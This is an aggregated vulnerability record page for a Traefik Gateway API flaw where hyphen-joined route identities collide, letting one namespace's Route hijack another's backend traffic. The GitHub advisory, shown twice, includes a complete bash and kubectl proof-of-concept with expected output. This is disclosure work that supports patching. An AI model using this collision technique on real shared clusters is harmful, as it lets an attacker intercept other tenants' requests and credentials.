Traefik: Gateway API route identity collision allows cross-namespace backend hijacking
cve-program · CVE-2026-71327
PublishedTraefik is an open source HTTP reverse proxy and load balancer. From 3.0.0 until 3.6.25 and 3.7.10, Traefik's Kubernetes Gateway API provider in pkg/provider/kubernetes/gateway/httproute.go, grpcroute.go, tcproute.go, and tlsroute.go builds HTTPRoute, GRPCRoute, TCPRoute, and TLSRoute router and service identities by hyphen-concatenating namespace, route name, Gateway identity, entry point, and rule index, allowing colliding Routes to overwrite another namespace's backend. This issue is fixed in 3.6.25 and 3.7.10.
Read the publisher's advisoryeuvd · EUVD-2026-54299
PublishedTraefik is an open source HTTP reverse proxy and load balancer. From 3.0.0 until 3.6.25 and 3.7.10, Traefik's Kubernetes Gateway API provider in pkg/provider/kubernetes/gateway/httproute.go, grpcroute.go, tcproute.go, and tlsroute.go builds HTTPRoute, GRPCRoute, TCPRoute, and TLSRoute router and service identities by hyphen-concatenating namespace, route name, Gateway identity, entry point, and rule index, allowing colliding Routes to overwrite another namespace's backend. This issue is fixed in 3.6.25 and 3.7.10.
Read the publisher's advisorynvd · CVE-2026-71327
PublishedTraefik is an open source HTTP reverse proxy and load balancer. From 3.0.0 until 3.6.25 and 3.7.10, Traefik's Kubernetes Gateway API provider in pkg/provider/kubernetes/gateway/httproute.go, grpcroute.go, tcproute.go, and tlsroute.go builds HTTPRoute, GRPCRoute, TCPRoute, and TLSRoute router and service identities by hyphen-concatenating namespace, route name, Gateway identity, entry point, and rule index, allowing colliding Routes to overwrite another namespace's backend. This issue is fixed in 3.6.25 and 3.7.10.
Read the publisher's advisoryosv · GHSA-fgjj-px3w-67xx
Published## Summary There is a high severity vulnerability in Traefik's Kubernetes Gateway API provider. Router and service identities for `HTTPRoute`, `GRPCRoute`, `TCPRoute` and `TLSRoute` objects were built by hyphen-concatenating the route namespace, the route name, the Gateway identity, the entry point and the rule index, a construction that is not injective because Kubernetes names may themselves contain hyphens. Two distinct Routes attached to the same Gateway with equivalent match rules can therefore produce the same identity, and the Route loaded later silently overwrites the earlier one, so a tenant able to create an accepted Route in a colliding namespace/name combination can redirect another namespace's traffic to a backend it controls. All Traefik v3 minor lines are affected; the lines older than v3.6 are no longer maintained and will not receive a patch of their own, so users running them should upgrade to a maintained, patched release. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.6.25 - https://github.com/traefik/traefik/releases/tag/v3.7.10 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ## Summary Traefik's Kubernetes Gateway provider constructs internal HTTPRoute and GRPCRoute identities by concatenating namespace, route name, Gateway identity, entrypoint, and rule index with hyphens. Kubernetes names may themselves contain hyphens, so the construction is not injective. For example, HTTPRoutes `team/a-app` and `team-a/app`, attached to the same Gateway with the same match rule, produce identical router and service keys. During configuration merging, the route loaded later overwrites the earlier route's maps. A tenant that can create an accepted Route in a colliding namespace/name combination can therefore redirect another namespace's traffic to an attacker-controlled backend. The official v3.7.8 binary was reproduced returning the victim backend before the second Route was created and the attacker backend immediately afterward. The victim Route had the earlier creation timestamp and should win the equivalent-match conflict under Gateway API precedence rules. ## Details The HTTPRoute provider creates a route key as follows: ```go routeKey := provider.Normalize(fmt.Sprintf( "%s-%s-%s-gw-%s-%s-ep-%s-%d", strings.ToLower(kindHTTPRoute), route.Namespace, route.Name, gatewayNamespace, gatewayName, listener.EPName, ri, )) ``` `Normalize` replaces non-alphanumeric runs with `-`, but it does not encode field lengths or otherwise preserve component boundaries: ```go func Normalize(name string) string { fargs := func(c rune) bool { return !unicode.IsLetter(c) && !unicode.IsNumber(c) } return strings.Join(strings.FieldsFunc(name, fargs), "-") } ``` These distinct objects therefore have the same normalized key: ```text namespace=team, route=a-app namespace=team-a, route=app httproute-team-a-app-gw-gateway-shared-ep-web-0 ``` `makeRouterName` adds a hash of the routing rule. When the attacker copies the victim's hostname and path, that hash is also identical. Child service and middleware names are derived from the same parent identity. Each Route is built into a temporary configuration and then merged into the provider-wide configuration with `maps.Copy`: ```go maps.Copy(to.HTTP.Routers, from.HTTP.Routers) maps.Copy(to.HTTP.Middlewares, from.HTTP.Middlewares) maps.Copy(to.HTTP.Services, from.HTTP.Services) maps.Copy(to.HTTP.ServersTransports, from.HTTP.ServersTransports) ``` `maps.Copy` replaces an existing value for a duplicate key. No collision is reported, and the resulting router points to the later Route's backend. The GRPCRoute implementation uses the same delimiter-free route-key format and the same HTTP configuration merge path. ### Attack prerequisites The attacker needs permission to create or modify an HTTPRoute or GRPCRoute that the shared Gateway accepts. Exploitation also requires namespace and Route names whose concatenation collides with a victim. The attacker does not need permission to read or modify the victim Route, Service, or namespace. ## Proof of Concept Prerequisites: - a disposable Kubernetes cluster with Gateway API v1.5.1 experimental CRDs; - `kubectl` configured for that cluster; - curl; - local TCP port 18080 available. The following script embeds all objects used by the reproduction. It runs the official `traefik:v3.7.8` image, creates the victim Route first, verifies the victim backend, then creates the colliding attacker Route and repeats the request. ```bash #!/usr/bin/env bash set -euo pipefail kubectl apply -f - <<'YAML' apiVersion: v1 kind: Namespace metadata: name: gateway --- apiVersion: v1 kind: Namespace metadata: name: team --- apiVersion: v1 kind: Namespace metadata: name: team-a --- apiVersion: v1 kind: ServiceAccount metadata: name: traefik-audit namespace: gateway --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: traefik-route-collision-lab roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: cluster-admin subjects: - kind: ServiceAccount name: traefik-audit namespace: gateway --- apiVersion: apps/v1 kind: Deployment metadata: name: traefik-audit namespace: gateway spec: replicas: 1 selector: matchLabels: app: traefik-audit template: metadata: labels: app: traefik-audit spec: serviceAccountName: traefik-audit containers: - name: traefik image: traefik:v3.7.8 args: - --entryPoints.web.address=:8000 - --providers.kubernetesgateway=true - --global.checkNewVersion=false - --global.sendAnonymousUsage=false - --log.level=ERROR ports: - name: web containerPort: 8000 --- apiVersion: gateway.networking.k8s.io/v1 kind: GatewayClass metadata: name: traefik-route-collision-lab spec: controllerName: traefik.io/gateway-controller --- apiVersion: gateway.networking.k8s.io/v1 kind: Gateway metadata: name: shared namespace: gateway spec: gatewayClassName: traefik-route-collision-lab listeners: - name: web protocol: HTTP port: 8000 allowedRoutes: namespaces: from: All --- apiVersion: apps/v1 kind: Deployment metadata: name: victim namespace: team spec: replicas: 1 selector: matchLabels: app: victim template: metadata: labels: app: victim spec: containers: - name: echo image: hashicorp/http-echo:1.0.0 args: ["-listen=:5678", "-text=VICTIM_BACKEND"] ports: - containerPort: 5678 --- apiVersion: v1 kind: Service metadata: name: backend namespace: team spec: selector: app: victim ports: - port: 80 targetPort: 5678 --- apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: a-app namespace: team spec: parentRefs: - name: shared namespace: gateway hostnames: ["collision.example"] rules: - matches: - path: type: PathPrefix value: / backendRefs: - name: backend port: 80 YAML kubectl -n gateway rollout status deployment/traefik-audit --timeout=120s kubectl -n team rollout status deployment/victim --timeout=120s kubectl -n gateway port-forward deployment/traefik-audit 18080:8000 \ >/dev/null 2>&1 & PORT_FORWARD_PID=$! trap 'kill "$PORT_FORWARD_PID" 2>/dev/null || true' EXIT for _ in $(seq 1 60); do RESPONSE=$(curl -sS -H 'Host: collision.example' \ http://127.0.0.1:18080/ 2>/dev/null || true) if [ "$RESPONSE" = "VICTIM_BACKEND" ]; then break fi sleep 1 done printf 'before collision: %s\n' "$RESPONSE" sleep 2 kubectl apply -f - <<'YAML' apiVersion: apps/v1 kind: Deployment metadata: name: attacker namespace: team-a spec: replicas: 1 selector: matchLabels: app: attacker template: metadata: labels: app: attacker spec: containers: - name: echo image: hashicorp/http-echo:1.0.0 args: ["-listen=:5678", "-text=ATTACKER_BACKEND"] ports: - containerPort: 5678 --- apiVersion: v1 kind: Service metadata: name: backend namespace: team-a spec: selector: app: attacker ports: - port: 80 targetPort: 5678 YAML kubectl -n team-a rollout status deployment/attacker --timeout=120s kubectl apply -f - <<'YAML' apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: app namespace: team-a spec: parentRefs: - name: shared namespace: gateway hostnames: ["collision.example"] rules: - matches: - path: type: PathPrefix value: / backendRefs: - name: backend port: 80 YAML for _ in $(seq 1 60); do RESPONSE=$(curl -sS -H 'Host: collision.example' \ http://127.0.0.1:18080/ 2>/dev/null || true) if [ "$RESPONSE" = "ATTACKER_BACKEND" ]; then break fi sleep 1 done printf 'after collision: %s\n' "$RESPONSE" kubectl get httproute -A --sort-by=.metadata.creationTimestamp ``` Expected output on v3.7.8: ```text before collision: VICTIM_BACKEND after collision: ATTACKER_BACKEND NAMESPACE NAME HOSTNAMES team a-app ["collision.example"] team-a app ["collision.example"] ``` The first Route is older, but creating the second Route changes existing victim traffic to the attacker backend. The same test was also run with the official standalone v3.7.8 Linux amd64 binary inside an isolated k3s cluster. The release archive had SHA-256 `dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7`. ## Impact In a shared Gateway deployment, a Route author can hijack requests belonging to another namespace when the object names admit a collision. Requests, credentials, authorization headers, and response data can be delivered to an attacker-controlled backend. The attacker can also return forged application content or accept state-changing requests intended for the victim. The favorable naming relationship and accepted shared Gateway are reflected in the high attack-complexity rating. </details> ---
Read the publisher's advisoryosv · GO-2026-6209
PublishedTraefik: Gateway API route identity collision allows cross-namespace backend hijacking in github.com/traefik/traefik
Read the publisher's advisoryAffected versions, risk and source history
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
cve-program · CVE-2026-71327
PublishedTraefik: Gateway API route identity collision allows cross-namespace backend hijacking
Traefik is an open source HTTP reverse proxy and load balancer. From 3.0.0 until 3.6.25 and 3.7.10, Traefik's Kubernetes Gateway API provider in pkg/provider/kubernetes/gateway/httproute.go, grpcroute.go, tcproute.go, and tlsroute.go builds HTTPRoute, GRPCRoute, TCPRoute, and TLSRoute router and service identities by hyphen-concatenating namespace, route name, Gateway identity, entry point, and rule index, allowing colliding Routes to overwrite another namespace's backend. This issue is fixed in 3.6.25 and 3.7.10.
- Source published
- 6 Aug 2026 16:38:11 UTC
- Source modified
- 7 Aug 2026 15:41:26 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · 7.6 CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
euvd · EUVD-2026-54299
PublishedTraefik is an open source HTTP reverse proxy and load balancer. From 3.0.0 until 3.6.25 and 3.7.10, Traefik's Kubernetes Gateway API provider in pkg/provider/kubernetes/gateway/httproute.go, grpcroute.go, tcproute.go, and tlsroute.go builds…
Traefik is an open source HTTP reverse proxy and load balancer. From 3.0.0 until 3.6.25 and 3.7.10, Traefik's Kubernetes Gateway API provider in pkg/provider/kubernetes/gateway/httproute.go, grpcroute.go, tcproute.go, and tlsroute.go builds HTTPRoute, GRPCRoute, TCPRoute, and TLSRoute router and service identities by hyphen-concatenating namespace, route name, Gateway identity, entry point, and rule index, allowing colliding Routes to overwrite another namespace's backend. This issue is fixed in 3.6.25 and 3.7.10.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Aug 6, 2026, 4:38:11 PM
dateUpdated: Aug 7, 2026, 3:41:26 PM
1 related source bulletins · separate from aliases
RHSA-2026:90321: Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.31.0 Release.
CVE-2023-54404 · CVE-2025-62718 · CVE-2026-8643 · CVE-2026-9496 · CVE-2026-12185 · CVE-2026-13697 · CVE-2026-14682 · CVE-2026-15076 · CVE-2026-16308 · CVE-2026-17106 · CVE-2026-18427 · CVE-2026-19203 · CVE-2026-19534 · CVE-2026-39820 · CVE-2026-41178 · CVE-2026-41707 · CVE-2026-42499 · CVE-2026-42502 · CVE-2026-45416 · CVE-2026-47884 · CVE-2026-47886 · CVE-2026-47888 · CVE-2026-47890 · CVE-2026-47892 · CVE-2026-50010 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-55851 · CVE-2026-56745 · CVE-2026-56746 · CVE-2026-56819 · CVE-2026-56852 · CVE-2026-56854 · CVE-2026-58062 · CVE-2026-59280 · CVE-2026-59282 · CVE-2026-59283 · CVE-2026-59296 · CVE-2026-59313 · CVE-2026-59323 · CVE-2026-59651 · CVE-2026-59887 · CVE-2026-59899 · CVE-2026-59901 · CVE-2026-62243 · CVE-2026-64607 · CVE-2026-67213 · CVE-2026-67312 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-68494 · CVE-2026-68497 · CVE-2026-69152 · CVE-2026-69192 · CVE-2026-71290 · CVE-2026-71324 · CVE-2026-71325 · CVE-2026-71327 · CVE-2026-73500 · CVE-2026-73508 · CVE-2026-74835 · CVE-2026-75838 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-76169 · CVE-2026-81521 · CVE-2026-82417 · CVE-2026-82562 · CVE-2026-84292 · CVE-2026-84375 · CVE-2026-84394 · CVE-2026-84428 · CVE-2026-84445 · CVE-2026-84469 · CVE-2026-84504 · CVE-2026-84961 · CVE-2026-85062 · CVE-2026-85124 · CVE-2026-85152 · CVE-2026-85595 · CVE-2026-85597 · CVE-2026-86063 · CVE-2026-87743 · CVE-2026-88004 · CVE-2026-88007 · CVE-2026-88008 · CVE-2026-88009 · CVE-2026-88011 · CVE-2026-88012 · CVE-2026-88031 · CVE-2026-88878 · CVE-2026-88879 · CVE-2026-90711 · CVE-2026-93749 · CVE-2026-100655 · CVE-2026-100656 · CVE-2026-100666 · CVE-2026-101916 · CVE-2026-102925 · CVE-2026-102930 · CVE-2026-103435 · CVE-2026-109618 · CVE-2026-109619
- Source published
- Aug 6, 2026, 4:38:11 PM (timezone not stated)
- Source modified
- Aug 7, 2026, 3:41:26 PM (timezone not stated)
- Saved here
- 11 Nov 2026 16:02:20 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 4.0 · 7.6 CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
nvd · CVE-2026-71327
PublishedTraefik is an open source HTTP reverse proxy and load balancer. From 3.0.0 until 3.6.25 and 3.7.10, Traefik's Kubernetes Gateway API provider in pkg/provider/kubernetes/gateway/httproute.go, grpcroute.go, tcproute.go, and tlsroute.go builds…
Traefik is an open source HTTP reverse proxy and load balancer. From 3.0.0 until 3.6.25 and 3.7.10, Traefik's Kubernetes Gateway API provider in pkg/provider/kubernetes/gateway/httproute.go, grpcroute.go, tcproute.go, and tlsroute.go builds HTTPRoute, GRPCRoute, TCPRoute, and TLSRoute router and service identities by hyphen-concatenating namespace, route name, Gateway identity, entry point, and rule index, allowing colliding Routes to overwrite another namespace's backend. This issue is fixed in 3.6.25 and 3.7.10.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Analyzed
Weakness classifications: CWE-694
Original publisher date fields
published: 2026-08-06T22:18:29.810
lastModified: 2026-09-16T20:44:53.467
1 source CPE criteria · context only
- cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 6 Aug 2026 22:18:29 UTC
- Source modified
- 16 Sep 2026 20:44:53 UTC
- Saved here
- 25 Oct 2026 15:18:57 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · [email protected] · Secondary · 7.6 CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1 · [email protected] · Primary · 8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
osv · GHSA-fgjj-px3w-67xx
PublishedTraefik: Gateway API route identity collision allows cross-namespace backend hijacking
## Summary There is a high severity vulnerability in Traefik's Kubernetes Gateway API provider. Router and service identities for `HTTPRoute`, `GRPCRoute`, `TCPRoute` and `TLSRoute` objects were built by hyphen-concatenating the route namespace, the route name, the Gateway identity, the entry point and the rule index, a construction that is not injective because Kubernetes names may themselves contain hyphens. Two distinct Routes attached to the same Gateway with equivalent match rules can therefore produce the same identity, and the Route loaded later silently overwrites the earlier one, so a tenant able to create an accepted Route in a colliding namespace/name combination can redirect another namespace's traffic to a backend it controls. All Traefik v3 minor lines are affected; the lines older than v3.6 are no longer maintained and will not receive a patch of their own, so users running them should upgrade to a maintained, patched release. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.6.25 - https://github.com/traefik/traefik/releases/tag/v3.7.10 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ## Summary Traefik's Kubernetes Gateway provider constructs internal HTTPRoute and GRPCRoute identities by concatenating namespace, route name, Gateway identity, entrypoint, and rule index with hyphens. Kubernetes names may themselves contain hyphens, so the construction is not injective. For example, HTTPRoutes `team/a-app` and `team-a/app`, attached to the same Gateway with the same match rule, produce identical router and service keys. During configuration merging, the route loaded later overwrites the earlier route's maps. A tenant that can create an accepted Route in a colliding namespace/name combination can therefore redirect another namespace's traffic to an attacker-controlled backend. The official v3.7.8 binary was reproduced returning the victim backend before the second Route was created and the attacker backend immediately afterward. The victim Route had the earlier creation timestamp and should win the equivalent-match conflict under Gateway API precedence rules. ## Details The HTTPRoute provider creates a route key as follows: ```go routeKey := provider.Normalize(fmt.Sprintf( "%s-%s-%s-gw-%s-%s-ep-%s-%d", strings.ToLower(kindHTTPRoute), route.Namespace, route.Name, gatewayNamespace, gatewayName, listener.EPName, ri, )) ``` `Normalize` replaces non-alphanumeric runs with `-`, but it does not encode field lengths or otherwise preserve component boundaries: ```go func Normalize(name string) string { fargs := func(c rune) bool { return !unicode.IsLetter(c) && !unicode.IsNumber(c) } return strings.Join(strings.FieldsFunc(name, fargs), "-") } ``` These distinct objects therefore have the same normalized key: ```text namespace=team, route=a-app namespace=team-a, route=app httproute-team-a-app-gw-gateway-shared-ep-web-0 ``` `makeRouterName` adds a hash of the routing rule. When the attacker copies the victim's hostname and path, that hash is also identical. Child service and middleware names are derived from the same parent identity. Each Route is built into a temporary configuration and then merged into the provider-wide configuration with `maps.Copy`: ```go maps.Copy(to.HTTP.Routers, from.HTTP.Routers) maps.Copy(to.HTTP.Middlewares, from.HTTP.Middlewares) maps.Copy(to.HTTP.Services, from.HTTP.Services) maps.Copy(to.HTTP.ServersTransports, from.HTTP.ServersTransports) ``` `maps.Copy` replaces an existing value for a duplicate key. No collision is reported, and the resulting router points to the later Route's backend. The GRPCRoute implementation uses the same delimiter-free route-key format and the same HTTP configuration merge path. ### Attack prerequisites The attacker needs permission to create or modify an HTTPRoute or GRPCRoute that the shared Gateway accepts. Exploitation also requires namespace and Route names whose concatenation collides with a victim. The attacker does not need permission to read or modify the victim Route, Service, or namespace. ## Proof of Concept Prerequisites: - a disposable Kubernetes cluster with Gateway API v1.5.1 experimental CRDs; - `kubectl` configured for that cluster; - curl; - local TCP port 18080 available. The following script embeds all objects used by the reproduction. It runs the official `traefik:v3.7.8` image, creates the victim Route first, verifies the victim backend, then creates the colliding attacker Route and repeats the request. ```bash #!/usr/bin/env bash set -euo pipefail kubectl apply -f - <<'YAML' apiVersion: v1 kind: Namespace metadata: name: gateway --- apiVersion: v1 kind: Namespace metadata: name: team --- apiVersion: v1 kind: Namespace metadata: name: team-a --- apiVersion: v1 kind: ServiceAccount metadata: name: traefik-audit namespace: gateway --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: traefik-route-collision-lab roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: cluster-admin subjects: - kind: ServiceAccount name: traefik-audit namespace: gateway --- apiVersion: apps/v1 kind: Deployment metadata: name: traefik-audit namespace: gateway spec: replicas: 1 selector: matchLabels: app: traefik-audit template: metadata: labels: app: traefik-audit spec: serviceAccountName: traefik-audit containers: - name: traefik image: traefik:v3.7.8 args: - --entryPoints.web.address=:8000 - --providers.kubernetesgateway=true - --global.checkNewVersion=false - --global.sendAnonymousUsage=false - --log.level=ERROR ports: - name: web containerPort: 8000 --- apiVersion: gateway.networking.k8s.io/v1 kind: GatewayClass metadata: name: traefik-route-collision-lab spec: controllerName: traefik.io/gateway-controller --- apiVersion: gateway.networking.k8s.io/v1 kind: Gateway metadata: name: shared namespace: gateway spec: gatewayClassName: traefik-route-collision-lab listeners: - name: web protocol: HTTP port: 8000 allowedRoutes: namespaces: from: All --- apiVersion: apps/v1 kind: Deployment metadata: name: victim namespace: team spec: replicas: 1 selector: matchLabels: app: victim template: metadata: labels: app: victim spec: containers: - name: echo image: hashicorp/http-echo:1.0.0 args: ["-listen=:5678", "-text=VICTIM_BACKEND"] ports: - containerPort: 5678 --- apiVersion: v1 kind: Service metadata: name: backend namespace: team spec: selector: app: victim ports: - port: 80 targetPort: 5678 --- apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: a-app namespace: team spec: parentRefs: - name: shared namespace: gateway hostnames: ["collision.example"] rules: - matches: - path: type: PathPrefix value: / backendRefs: - name: backend port: 80 YAML kubectl -n gateway rollout status deployment/traefik-audit --timeout=120s kubectl -n team rollout status deployment/victim --timeout=120s kubectl -n gateway port-forward deployment/traefik-audit 18080:8000 \ >/dev/null 2>&1 & PORT_FORWARD_PID=$! trap 'kill "$PORT_FORWARD_PID" 2>/dev/null || true' EXIT for _ in $(seq 1 60); do RESPONSE=$(curl -sS -H 'Host: collision.example' \ http://127.0.0.1:18080/ 2>/dev/null || true) if [ "$RESPONSE" = "VICTIM_BACKEND" ]; then break fi sleep 1 done printf 'before collision: %s\n' "$RESPONSE" sleep 2 kubectl apply -f - <<'YAML' apiVersion: apps/v1 kind: Deployment metadata: name: attacker namespace: team-a spec: replicas: 1 selector: matchLabels: app: attacker template: metadata: labels: app: attacker spec: containers: - name: echo image: hashicorp/http-echo:1.0.0 args: ["-listen=:5678", "-text=ATTACKER_BACKEND"] ports: - containerPort: 5678 --- apiVersion: v1 kind: Service metadata: name: backend namespace: team-a spec: selector: app: attacker ports: - port: 80 targetPort: 5678 YAML kubectl -n team-a rollout status deployment/attacker --timeout=120s kubectl apply -f - <<'YAML' apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: app namespace: team-a spec: parentRefs: - name: shared namespace: gateway hostnames: ["collision.example"] rules: - matches: - path: type: PathPrefix value: / backendRefs: - name: backend port: 80 YAML for _ in $(seq 1 60); do RESPONSE=$(curl -sS -H 'Host: collision.example' \ http://127.0.0.1:18080/ 2>/dev/null || true) if [ "$RESPONSE" = "ATTACKER_BACKEND" ]; then break fi sleep 1 done printf 'after collision: %s\n' "$RESPONSE" kubectl get httproute -A --sort-by=.metadata.creationTimestamp ``` Expected output on v3.7.8: ```text before collision: VICTIM_BACKEND after collision: ATTACKER_BACKEND NAMESPACE NAME HOSTNAMES team a-app ["collision.example"] team-a app ["collision.example"] ``` The first Route is older, but creating the second Route changes existing victim traffic to the attacker backend. The same test was also run with the official standalone v3.7.8 Linux amd64 binary inside an isolated k3s cluster. The release archive had SHA-256 `dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7`. ## Impact In a shared Gateway deployment, a Route author can hijack requests belonging to another namespace when the object names admit a collision. Requests, credentials, authorization headers, and response data can be delivered to an attacker-controlled backend. The attacker can also return forged application content or accept state-changing requests intended for the victim. The favorable naming relationship and accepted shared Gateway are reflected in the high attack-complexity rating. </details> ---
- Source published
- 6 Aug 2026 16:38:18 UTC
- Source modified
- 18 Aug 2026 15:10:46 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N
Publisher rating · HIGH
osv · GO-2026-6209
PublishedTraefik: Gateway API route identity collision allows cross-namespace backend hijacking in github.com/traefik/traefik
Traefik: Gateway API route identity collision allows cross-namespace backend hijacking in github.com/traefik/traefik
- Source published
- 18 Aug 2026 14:32:29 UTC
- Source modified
- 18 Aug 2026 15:00:24 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.